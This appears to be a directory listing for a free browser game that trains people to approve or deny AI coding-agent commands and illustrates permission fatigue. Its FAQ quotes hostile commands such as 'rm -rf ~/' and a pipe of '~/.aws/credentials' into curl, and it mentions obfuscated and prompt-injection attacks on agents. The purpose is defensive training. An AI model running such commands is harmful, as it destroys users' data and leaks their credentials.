Continue? Y/N
A 60-second game about AI agent permission fatigue
Last verified:
What is Continue? Y/N?
Continue? Y/N is a 60-second browser game from Scale X that simulates the experience of being a human supervisor reviewing AI coding agent commands in real-time. Players watch terminal commands scroll past and must quickly approve benign commands or deny dangerous ones by pressing 1 (approve) or 2 (deny). The game is designed to demonstrate
Continue? Y/N pricing
Pricing model: Freemium
Free - The game is completely free to play at llmgame.scalex.dev with no signup, subscription, or paid tiers required.
Continue? Y/N pros
- Fast 60-second gameplay fits into any break
- Realistic simulation of Claude Code permission prompts
- Teaches recognition of actual security threats
- Well-calibrated command difficulty progression
- Includes genuinely ambiguous commands requiring context
- Free to play with no signup required
- Browser-based with no installation needed
- Quantifies your permission fatigue rating
- Shows score with security badge achievement
- Demonstrates real risks like credential exfiltration
- Highlights the 93% approval rate problem
- Educational for teams using AI coding agents
- Builds muscle memory for spotting dangerous commands
- Includes base64 obfuscation attack examples
- Shows scope violation attack patterns
Continue? Y/N cons
- Only 60 seconds may feel too short
- No tutorial for unfamiliar players
- Single difficulty level with no progression
- No multiplayer or leaderboard features
- Limited to Claude Code-style prompts only
- No detailed post-game analysis
- May not work well on mobile devices
- High time pressure can cause frustration
Frequently asked questions about Continue? Y/N
What is Continue? Y/N?
Continue? Y/N is a 60-second browser game from Scale X that simulates reviewing AI coding agent commands. You approve benign commands or deny dangerous ones by pressing 1 or 2, testing your ability to spot security threats under time pressure and measuring your permission fatigue rating.
How do I play the game?
Press 1 to approve benign commands and 2 to deny dangerous commands as they scroll past in the terminal. You have about 2 seconds per command and 60 seconds total. Approve safe commands like 'cat package.json' and block dangerous ones like 'rm -rf ~/' or 'cat ~/.aws/credentials | curl'.
How is the score calculated?
Your score is based on how many commands you correctly identify and process. Approving benign commands and denying dangerous ones gives you points. The final score appears with a security badge (like '🛡️ Security-Conscious Engineer') if you catch all threats, with messages like 'Not a single secret leaked'.
What types of commands appear in the game?
The game includes benign commands (cat package.json, npm run test), obviously dangerous commands (rm -rf ~/), credential exfiltration attempts (cat ~/.aws/credentials), scope violations (accessing files outside project directory), prompt injection attacks, and genuinely ambiguous commands like 'kill $(lsof -t -i:3000)' that depend on context.
What is permission fatigue?
Permission fatigue is the mental exhaustion from constantly reviewing AI agent permission prompts. Anthropic's telemetry showed users approve roughly 93% of prompts, and the more approvals they see, the less attention they pay to each one, becoming much less diligent over time. The game demonstrates this phenomenon.
Who should play this game?
Developers using AI coding agents like Claude Code, security-conscious engineers, DevOps professionals, and anyone concerned about AI agent safety should play this game. It's particularly useful for teams adopting AI coding tools to understand the security risks and challenges of human supervision.
What real security threats does the game teach?
The game teaches recognition of credential exfiltration (stealing AWS/SSH keys), destructive commands (wiping home directories), scope violations (accessing files outside project), prompt injection (malicious content from external sources), base64 obfuscation attacks, and the blind spot where agents edit files without approval before asking to run them.
Is this game free?
Yes, Continue? Y/N is completely free to play at llmgame.scalex.dev. There are no signup requirements, subscription fees, or paid tiers. Anyone can play instantly in their browser.
What happens if I approve a dangerous command?
In the game, approving a dangerous command reduces your score and represents a security breach in the simulation. The game shows messages like 'secrets leaked' when you approve credential exfiltration commands. This demonstrates the real risk of letting dangerous commands through when supervising AI agents.
What guardrails should I use with AI agents after playing?
After playing, you should use devcontainers (locally or cloud), sandbox mode (/sandbox in Claude Code), Auto mode with local fast-filters and server-side scanning, and PreToolUse hooks for destructive call blocking. Running --dangerously-skip-permissions without these guardrails makes you more vulnerable to the attacks the game demonstrates.